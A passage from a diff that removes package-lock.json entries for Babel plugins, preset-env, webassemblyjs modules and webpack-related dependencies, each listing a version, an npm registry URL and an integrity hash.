"sha512-V6LuOnD31kTkxQPhKiVYzYC/Jgdq53irJC/xBSmqcNcqFGV+PER4l6rU5SH2Vl7bH9mLDHcc0+l9HUOe4RNGKA==", - "dev": true, - "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.10.4" - } - }, - "@babel/plugin-transform-new-target": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.10.4.tgz", - "integrity": "sha512-YXwWUDAH/J6dlfwqlWsztI2Puz1NtUAubXhOPLQ5gjR/qmQ5U96DY4FQO8At33JN4XPBhrjB8I4eMmLROjjLjw==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-object-super": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.10.4.tgz", - "integrity": "sha512-5iTw0JkdRdJvr7sY0vHqTpnruUpTea32JHmq/atIWqsnNussbRzjEDyWep8UNztt1B5IusBYg8Irb0bLbiEBCQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-replace-supers": "^7.10.4" - } - }, - "@babel/plugin-transform-parameters": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.10.5.tgz", - "integrity": "sha512-xPHwUj5RdFV8l1wuYiu5S9fqWGM2DrYc24TMvUiRrPVm+SM3XeqU9BcokQX/kEUe+p2RBwy+yoiR1w/Blq6ubw==", - "dev": true, - "requires": { - "@babel/helper-get-function-arity": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-property-literals": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.10.4.tgz", - "integrity": "sha512-ofsAcKiUxQ8TY4sScgsGeR2vJIsfrzqvFb9GvJ5UdXDzl+MyYCaBj/FGzXuv7qE0aJcjWMILny1epqelnFlz8g==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-regenerator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.10.4.tgz", - "integrity": "sha512-3thAHwtor39A7C04XucbMg17RcZ3Qppfxr22wYzZNcVIkPHfpM9J0SO8zuCV6SZa265kxBJSrfKTvDCYqBFXGw==", - "dev": true, - "requires": { - "regenerator-transform": "^0.14.2" - }, - "dependencies": { - "@babel/runtime": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.10.5.tgz", - "integrity": "sha512-otddXKhdNn7d0ptoFRHtMLa8LqDxLYwTjB4nYgM1yy5N6gU/MUf8zqyyLltCH3yAVitBzmwK4us+DD0l/MauAg==", - "dev": true, - "requires": { - "regenerator-runtime": "^0.13.4" - } - }, - "regenerator-runtime": { - "version": "0.13.5", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz", - "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==", - "dev": true - }, - "regenerator-transform": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.14.5.tgz", - "integrity": "sha512-eOf6vka5IO151Jfsw2NO9WpGX58W6wWmefK3I1zEGr0lOD0u8rwPaNqQL1aRxUaxLeKO3ArNh3VYg1KbaD+FFw==", - "dev": true, - "requires": { - "@babel/runtime": "^7.8.4" - } - } - } - }, - "@babel/plugin-transform-reserved-words": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.10.4.tgz", - "integrity": "sha512-hGsw1O6Rew1fkFbDImZIEqA8GoidwTAilwCyWqLBM9f+e/u/sQMQu7uX6dyokfOayRuuVfKOW4O7HvaBWM+JlQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-shorthand-properties": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.10.4.tgz", - "integrity": "sha512-AC2K/t7o07KeTIxMoHneyX90v3zkm5cjHJEokrPEAGEy3UCp8sLKfnfOIGdZ194fyN4wfX/zZUWT9trJZ0qc+Q==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-spread": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.10.4.tgz", - "integrity": "sha512-1e/51G/Ni+7uH5gktbWv+eCED9pP8ZpRhZB3jOaI3mmzfvJTWHkuyYTv0Z5PYtyM+Tr2Ccr9kUdQxn60fI5WuQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-sticky-regex": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.10.4.tgz", - "integrity": "sha512-Ddy3QZfIbEV0VYcVtFDCjeE4xwVTJWTmUtorAJkn6u/92Z/nWJNV+mILyqHKrUxXYKA2EoCilgoPePymKL4DvQ==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-regex": "^7.10.4" - } - }, - "@babel/plugin-transform-template-literals": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.10.5.tgz", - "integrity": "sha512-V/lnPGIb+KT12OQikDvgSuesRX14ck5FfJXt6+tXhdkJ+Vsd0lDCVtF6jcB4rNClYFzaB2jusZ+lNISDk2mMMw==", - "dev": true, - "requires": { - "@babel/helper-annotate-as-pure": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-typeof-symbol": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.10.4.tgz", - "integrity": "sha512-QqNgYwuuW0y0H+kUE/GWSR45t/ccRhe14Fs/4ZRouNNQsyd4o3PG4OtHiIrepbM2WKUBDAXKCAK/Lk4VhzTaGA==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-unicode-escapes": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.10.4.tgz", - "integrity": "sha512-y5XJ9waMti2J+e7ij20e+aH+fho7Wb7W8rNuu72aKRwCHFqQdhkdU2lo3uZ9tQuboEJcUFayXdARhcxLQ3+6Fg==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/plugin-transform-unicode-regex": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.10.4.tgz", - "integrity": "sha512-wNfsc4s8N2qnIwpO/WP2ZiSyjfpTamT2C9V9FDH/Ljub9zw6P3SjkXcFmc0RQUt96k2fmIvtla2MMjgTwIAC+A==", - "dev": true, - "requires": { - "@babel/helper-create-regexp-features-plugin": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - } - }, - "@babel/preset-env": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.10.4.tgz", - "integrity": "sha512-tcmuQ6vupfMZPrLrc38d0sF2OjLT3/bZ0dry5HchNCQbrokoQi4reXqclvkkAT5b+gWc23meVWpve5P/7+w/zw==", - "dev": true, - "requires": { - "@babel/compat-data": "^7.10.4", - "@babel/helper-compilation-targets": "^7.10.4", - "@babel/helper-module-imports": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-proposal-async-generator-functions": "^7.10.4", - "@babel/plugin-proposal-class-properties": "^7.10.4", - "@babel/plugin-proposal-dynamic-import": "^7.10.4", - "@babel/plugin-proposal-json-strings": "^7.10.4", - "@babel/plugin-proposal-nullish-coalescing-operator": "^7.10.4", - "@babel/plugin-proposal-numeric-separator": "^7.10.4", - "@babel/plugin-proposal-object-rest-spread": "^7.10.4", - "@babel/plugin-proposal-optional-catch-binding": "^7.10.4", - "@babel/plugin-proposal-optional-chaining": "^7.10.4", - "@babel/plugin-proposal-private-methods": "^7.10.4", - "@babel/plugin-proposal-unicode-property-regex": "^7.10.4", - "@babel/plugin-syntax-async-generators": "^7.8.0", - "@babel/plugin-syntax-class-properties": "^7.10.4", - "@babel/plugin-syntax-dynamic-import": "^7.8.0", - "@babel/plugin-syntax-json-strings": "^7.8.0", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0", - "@babel/plugin-syntax-numeric-separator": "^7.10.4", - "@babel/plugin-syntax-object-rest-spread": "^7.8.0", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.0", - "@babel/plugin-syntax-optional-chaining": "^7.8.0", - "@babel/plugin-syntax-top-level-await": "^7.10.4", - "@babel/plugin-transform-arrow-functions": "^7.10.4", - "@babel/plugin-transform-async-to-generator": "^7.10.4", - "@babel/plugin-transform-block-scoped-functions": "^7.10.4", - "@babel/plugin-transform-block-scoping": "^7.10.4", - "@babel/plugin-transform-classes": "^7.10.4", - "@babel/plugin-transform-computed-properties": "^7.10.4", - "@babel/plugin-transform-destructuring": "^7.10.4", - "@babel/plugin-transform-dotall-regex": "^7.10.4", - "@babel/plugin-transform-duplicate-keys": "^7.10.4", - "@babel/plugin-transform-exponentiation-operator": "^7.10.4", - "@babel/plugin-transform-for-of": "^7.10.4", - "@babel/plugin-transform-function-name": "^7.10.4", - "@babel/plugin-transform-literals": "^7.10.4", - "@babel/plugin-transform-member-expression-literals": "^7.10.4", - "@babel/plugin-transform-modules-amd": "^7.10.4", - "@babel/plugin-transform-modules-commonjs": "^7.10.4", - "@babel/plugin-transform-modules-systemjs": "^7.10.4", - "@babel/plugin-transform-modules-umd": "^7.10.4", - "@babel/plugin-transform-named-capturing-groups-regex": "^7.10.4", - "@babel/plugin-transform-new-target": "^7.10.4", - "@babel/plugin-transform-object-super": "^7.10.4", - "@babel/plugin-transform-parameters": "^7.10.4", - "@babel/plugin-transform-property-literals": "^7.10.4", - "@babel/plugin-transform-regenerator": "^7.10.4", - "@babel/plugin-transform-reserved-words": "^7.10.4", - "@babel/plugin-transform-shorthand-properties": "^7.10.4", - "@babel/plugin-transform-spread": "^7.10.4", - "@babel/plugin-transform-sticky-regex": "^7.10.4", - "@babel/plugin-transform-template-literals": "^7.10.4", - "@babel/plugin-transform-typeof-symbol": "^7.10.4", - "@babel/plugin-transform-unicode-escapes": "^7.10.4", - "@babel/plugin-transform-unicode-regex": "^7.10.4", - "@babel/preset-modules": "^0.1.3", - "@babel/types": "^7.10.4", - "browserslist": "^4.12.0", - "core-js-compat": "^3.6.2", - "invariant": "^2.2.2", - "levenary": "^1.1.1", - "semver": "^5.5.0" - }, - "dependencies": { - "browserslist": { - "version": "4.13.0", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.13.0.tgz", - "integrity": "sha512-MINatJ5ZNrLnQ6blGvePd/QOz9Xtu+Ne+x29iQSCHfkU5BugKVJwZKn/iiL8UbpIpa3JhviKjz+XxMo0m2caFQ==", - "dev": true, - "requires": { - "caniuse-lite": "^1.0.30001093", - "electron-to-chromium": "^1.3.488", - "escalade": "^3.0.1", - "node-releases": "^1.1.58" - } - }, - "caniuse-lite": { - "version": "1.0.30001100", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001100.tgz", - "integrity": "sha512-0eYdp1+wFCnMlCj2oudciuQn2B9xAFq3WpgpcBIZTxk/1HNA/O2YA7rpeYhnOqsqAJq1AHUgx6i1jtafg7m2zA==", - "dev": true - }, - "electron-to-chromium": { - "version": "1.3.498", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.498.tgz", - "integrity": "sha512-W1hGwaQEU8j9su2jeAr3aabkPuuXw+j8t73eajGAkEJWbfWiwbxBwQN/8Qmv2qCy3uCDm2rOAaZneYQM8VGC4w==", - "dev": true - }, - "node-releases": { - "version": "1.1.59", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.59.tgz", - "integrity": "sha512-H3JrdUczbdiwxN5FuJPyCHnGHIFqQ0wWxo+9j1kAXAzqNMAHlo+4I/sYYxpyK0irQ73HgdiyzD32oqQDcU2Osw==", - "dev": true - } - } - }, - "@babel/preset-modules": { - "version": "0.1.3", - "resolved": "https://registry.npmjs.org/@babel/preset-modules/-/preset-modules-0.1.3.tgz", - "integrity": "sha512-Ra3JXOHBq2xd56xSF7lMKXdjBn3T772Y1Wet3yWnkDly9zHvJki029tAFzvAAK5cf4YV3yoxuP61crYRol6SVg==", - "dev": true, - "requires": { - "@babel/helper-plugin-utils": "^7.0.0", - "@babel/plugin-proposal-unicode-property-regex": "^7.4.4", - "@babel/plugin-transform-dotall-regex": "^7.4.4", - "@babel/types": "^7.4.4", - "esutils": "^2.0.2" - } - }, - "@babel/runtime": { - "version": "7.3.1", - "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.3.1.tgz", - "integrity": "sha512-7jGW8ppV0ant637pIqAcFfQDDH1orEPGJb8aXfUozuCU3QqX7rX4DA8iwrbPrR1hcH0FTTHz47yQnk+bl5xHQA==", - "dev": true, - "requires": { - "regenerator-runtime": "^0.12.0" - }, - "dependencies": { - "regenerator-runtime": { - "version": "0.12.1", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.12.1.tgz", - "integrity": "sha512-odxIc1/vDlo4iZcfXqRYFj0vpXFNoGdKMAUieAlFYO6m/nl5e9KR/beGf41z4a1FI+aQgtjhuaSlDxQ0hmkrHg==", - "dev": true - } - } - }, - "@babel/template": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.10.4.tgz", - "integrity": "sha512-ZCjD27cGJFUB6nmCB1Enki3r+L5kJveX9pq1SvAUKoICy6CZ9yD8xO086YXdYhvNjBdnekm4ZnaP5yC8Cs/1tA==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.10.4", - "@babel/parser": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "@babel/traverse": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.10.5.tgz", - "integrity": "sha512-yc/fyv2gUjPqzTz0WHeRJH2pv7jA9kA7mBX2tXl/x5iOE81uaVPuGPtaYk7wmkx4b67mQ7NqI8rmT2pF47KYKQ==", - "dev": true, - "requires": { - "@babel/code-frame": "^7.10.4", - "@babel/generator": "^7.10.5", - "@babel/helper-function-name": "^7.10.4", - "@babel/helper-split-export-declaration": "^7.10.4", - "@babel/parser": "^7.10.5", - "@babel/types": "^7.10.5", - "debug": "^4.1.0", - "globals": "^11.1.0", - "lodash": "^4.17.19" - }, - "dependencies": { - "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", - "dev": true, - "requires": { - "ms": "^2.1.1" - } - }, - "globals": { - "version": "11.12.0", - "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz", - "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==", - "dev": true - }, - "ms": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", - "dev": true - } - } - }, - "@babel/types": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.10.5.tgz", - "integrity": "sha512-ixV66KWfCI6GKoA/2H9v6bQdbfXEwwpOdQ8cRvb4F+eyvhlaHxWFMQB4+3d9QFJXZsiiiqVrewNV0DFEQpyT4Q==", - "dev": true, - "requires": { - "@babel/helper-validator-identifier": "^7.10.4", - "lodash": "^4.17.19", - "to-fast-properties": "^2.0.0" - }, - "dependencies": { - "to-fast-properties": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", - "integrity": "sha1-3F5pjL0HkmW8c+A3doGk5Og/YW4=", - "dev": true - } - } - }, - "@webassemblyjs/ast": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.9.0.tgz", - "integrity": "sha512-C6wW5L+b7ogSDVqymbkkvuW9kruN//YisMED04xzeBBqjHa2FYnmvOlS6Xj68xWQRgWvI9cIglsjFowH/RJyEA==", - "dev": true, - "requires": { - "@webassemblyjs/helper-module-context": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/wast-parser": "1.9.0" - } - }, - "@webassemblyjs/floating-point-hex-parser": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.9.0.tgz", - "integrity": "sha512-TG5qcFsS8QB4g4MhrxK5TqfdNe7Ey/7YL/xN+36rRjl/BlGE/NcBvJcqsRgCP6Z92mRE+7N50pRIi8SmKUbcQA==", - "dev": true - }, - "@webassemblyjs/helper-api-error": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.9.0.tgz", - "integrity": "sha512-NcMLjoFMXpsASZFxJ5h2HZRcEhDkvnNFOAKneP5RbKRzaWJN36NC4jqQHKwStIhGXu5mUWlUUk7ygdtrO8lbmw==", - "dev": true - }, - "@webassemblyjs/helper-buffer": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.9.0.tgz", - "integrity": "sha512-qZol43oqhq6yBPx7YM3m9Bv7WMV9Eevj6kMi6InKOuZxhw+q9hOkvq5e/PpKSiLfyetpaBnogSbNCfBwyB00CA==", - "dev": true - }, - "@webassemblyjs/helper-code-frame": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-code-frame/-/helper-code-frame-1.9.0.tgz", - "integrity": "sha512-ERCYdJBkD9Vu4vtjUYe8LZruWuNIToYq/ME22igL+2vj2dQ2OOujIZr3MEFvfEaqKoVqpsFKAGsRdBSBjrIvZA==", - "dev": true, - "requires": { - "@webassemblyjs/wast-printer": "1.9.0" - } - }, - "@webassemblyjs/helper-fsm": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-fsm/-/helper-fsm-1.9.0.tgz", - "integrity": "sha512-OPRowhGbshCb5PxJ8LocpdX9Kl0uB4XsAjl6jH/dWKlk/mzsANvhwbiULsaiqT5GZGT9qinTICdj6PLuM5gslw==", - "dev": true - }, - "@webassemblyjs/helper-module-context": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-module-context/-/helper-module-context-1.9.0.tgz", - "integrity": "sha512-MJCW8iGC08tMk2enck1aPW+BE5Cw8/7ph/VGZxwyvGbJwjktKkDK7vy7gAmMDx88D7mhDTCNKAW5tED+gZ0W8g==", - "dev": true, - "requires": { - "@webassemblyjs/ast": "1.9.0" - } - }, - "@webassemblyjs/helper-wasm-bytecode": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.9.0.tgz", - "integrity": "sha512-R7FStIzyNcd7xKxCZH5lE0Bqy+hGTwS3LJjuv1ZVxd9O7eHCedSdrId/hMOd20I+v8wDXEn+bjfKDLzTepoaUw==", - "dev": true - }, - "@webassemblyjs/helper-wasm-section": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.9.0.tgz", - "integrity": "sha512-XnMB8l3ek4tvrKUUku+IVaXNHz2YsJyOOmz+MMkZvh8h1uSJpSen6vYnw3IoQ7WwEuAhL8Efjms1ZWjqh2agvw==", - "dev": true, - "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-buffer": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/wasm-gen": "1.9.0" - } - }, - "@webassemblyjs/ieee754": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.9.0.tgz", - "integrity": "sha512-dcX8JuYU/gvymzIHc9DgxTzUUTLexWwt8uCTWP3otys596io0L5aW02Gb1RjYpx2+0Jus1h4ZFqjla7umFniTg==", - "dev": true, - "requires": { - "@xtuc/ieee754": "^1.2.0" - } - }, - "@webassemblyjs/leb128": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.9.0.tgz", - "integrity": "sha512-ENVzM5VwV1ojs9jam6vPys97B/S65YQtv/aanqnU7D8aSoHFX8GyhGg0CMfyKNIHBuAVjy3tlzd5QMMINa7wpw==", - "dev": true, - "requires": { - "@xtuc/long": "4.2.2" - } - }, - "@webassemblyjs/utf8": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.9.0.tgz", - "integrity": "sha512-GZbQlWtopBTP0u7cHrEx+73yZKrQoBMpwkGEIqlacljhXCkVM1kMQge/Mf+csMJAjEdSwhOyLAS0AoR3AG5P8w==", - "dev": true - }, - "@webassemblyjs/wasm-edit": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.9.0.tgz", - "integrity": "sha512-FgHzBm80uwz5M8WKnMTn6j/sVbqilPdQXTWraSjBwFXSYGirpkSWE2R9Qvz9tNiTKQvoKILpCuTjBKzOIm0nxw==", - "dev": true, - "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-buffer": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/helper-wasm-section": "1.9.0", - "@webassemblyjs/wasm-gen": "1.9.0", - "@webassemblyjs/wasm-opt": "1.9.0", - "@webassemblyjs/wasm-parser": "1.9.0", - "@webassemblyjs/wast-printer": "1.9.0" - } - }, - "@webassemblyjs/wasm-gen": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.9.0.tgz", - "integrity": "sha512-cPE3o44YzOOHvlsb4+E9qSqjc9Qf9Na1OO/BHFy4OI91XDE14MjFN4lTMezzaIWdPqHnsTodGGNP+iRSYfGkjA==", - "dev": true, - "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/ieee754": "1.9.0", - "@webassemblyjs/leb128": "1.9.0", - "@webassemblyjs/utf8": "1.9.0" - } - }, - "@webassemblyjs/wasm-opt": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.9.0.tgz", - "integrity": "sha512-Qkjgm6Anhm+OMbIL0iokO7meajkzQD71ioelnfPEj6r4eOFuqm4YC3VBPqXjFyyNwowzbMD+hizmprP/Fwkl2A==", - "dev": true, - "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-buffer": "1.9.0", - "@webassemblyjs/wasm-gen": "1.9.0", - "@webassemblyjs/wasm-parser": "1.9.0" - } - }, - "@webassemblyjs/wasm-parser": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.9.0.tgz", - "integrity": "sha512-9+wkMowR2AmdSWQzsPEjFU7njh8HTO5MqO8vjwEHuM+AMHioNqSBONRdr0NQQ3dVQrzp0s8lTcYqzUdb7YgELA==", - "dev": true, - "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/helper-api-error": "1.9.0", - "@webassemblyjs/helper-wasm-bytecode": "1.9.0", - "@webassemblyjs/ieee754": "1.9.0", - "@webassemblyjs/leb128": "1.9.0", - "@webassemblyjs/utf8": "1.9.0" - } - }, - "@webassemblyjs/wast-parser": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-parser/-/wast-parser-1.9.0.tgz", - "integrity": "sha512-qsqSAP3QQ3LyZjNC/0jBJ/ToSxfYJ8kYyuiGvtn/8MK89VrNEfwj7BPQzJVHi0jGTRK2dGdJ5PRqhtjzoww+bw==", - "dev": true, - "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/floating-point-hex-parser": "1.9.0", - "@webassemblyjs/helper-api-error": "1.9.0", - "@webassemblyjs/helper-code-frame": "1.9.0", - "@webassemblyjs/helper-fsm": "1.9.0", - "@xtuc/long": "4.2.2" - } - }, - "@webassemblyjs/wast-printer": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.9.0.tgz", - "integrity": "sha512-2J0nE95rHXHyQ24cWjMKJ1tqB/ds8z/cyeOZxJhcb+rW+SQASVjuznUSmdz5GpVJTzU8JkhYut0D3siFDD6wsA==", - "dev": true, - "requires": { - "@webassemblyjs/ast": "1.9.0", - "@webassemblyjs/wast-parser": "1.9.0", - "@xtuc/long": "4.2.2" - } - }, - "@wordpress/dependency-extraction-webpack-plugin": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/@wordpress/dependency-extraction-webpack-plugin/-/dependency-extraction-webpack-plugin-2.8.0.tgz", - "integrity": "sha512-fEOsSl1kYY8gkiAe7OM9IopmSOtaAug37OQwKVeda5fK6xLsnpqprP5iwHHOApNWMEzgmVGS6/iW5IZoi7qv/A==", - "dev": true, - "requires": { - "json2php": "^0.0.4", - "webpack": "^4.8.3", - "webpack-sources": "^1.3.0" - }, - "dependencies": { - "acorn": { - "version": "6.4.1", - "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.1.tgz", - "integrity": "sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA==", - "dev": true - }, - "ajv": { - "version": "6.12.3", - "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.3.tgz", - "integrity": "sha512-4K0cK3L1hsqk9xIb2z9vs/XU+PGJZ9PNpJRDS9YLzmNdX6jmVPfamLvTJr0aDAusnHyCHO6MjzlkAsgtqp9teA==", - "dev": true, - "requires": { - "fast-deep-equal": "^3.1.1", - "fast-json-stable-stringify": "^2.0.0", - "json-schema-traverse": "^0.4.1", - "uri-js": "^4.2.2" - } - }, - "ajv-keywords": { - "version": "3.5.1", - "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.1.tgz", - "integrity": "sha512-KWcq3xN8fDjSB+IMoh2VaXVhRI0BBGxoYp3rx7Pkb6z0cFjYR9Q9l4yZqqals0/zsioCmocC5H6UvsGD4MoIBA==", - "dev": true, - "requires": {} - }, - "anymatch": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.1.tgz", - "integrity": "sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==", - "dev": true, - "optional": true, - "requires": { - "normalize-path": "^3.0.0", - "picomatch": "^2.0.4" - } - }, - "arr-diff": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz", - "integrity": "sha1-1kYQdP6/7HHn4VI1dhoyml3HxSA=", - "dev": true - }, - "arr-flatten": { - "version": "1.1.0", - "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz", - "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==", - "dev": true - }, - "array-unique": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz", - "integrity": "sha1-qJS3XUvE9s1nnvMkSp/Y9Gri1Cg=", - "dev": true - }, - "big.js": { - "version": "5.2.2", - "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", - "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", - "dev": true - }, - "binary-extensions": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.1.0.tgz", - "integrity": "sha512-1Yj8h9Q+QDF5FzhMs/c9+6UntbD5MkRfRwac8DoEm9ZfUBZ7tZ55YcGVAzEe4bXsdQHEk+s9S5wsOKVdZrw0tQ==", - "dev": true, - "optional": true - }, - "braces": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz", - "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==", - 